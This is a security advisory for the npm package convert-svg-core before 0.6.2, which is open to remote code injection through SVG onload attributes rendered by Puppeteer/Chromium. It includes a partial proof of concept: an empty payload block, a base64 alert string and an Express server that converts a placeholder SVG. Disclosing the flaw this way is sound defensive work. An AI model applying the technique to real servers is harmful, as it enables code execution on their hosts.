GHSA-5gxc-fxcr-9326 convert-svg-core vulnerable to remote code injection

• npm convert-svg-core: < 0.6.2 → fixed in 0.6.2

The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code. PoC Payload ```html ``` where the `id` attribute is the base 64-encoded form of ```js document.write('data'); ``` Attack ```js const { convert } = require('convert-svg-to-png'); const express = require('express'); const fileSvg = `[[[payload]]]`; // YWxlcnQoMSk= // function newContent(){document.open(),document.write('data'),document.close()} const app = express(); app.get('/poc', async (req, res)=>{ try { const png = await convert(fileSvg); res.set('Content-Type', 'image/png'); res.send(png); } catch (e) { console.log(e); res.send(""); } }); app.listen(3000, ()=>{ console.log('started'); }); ```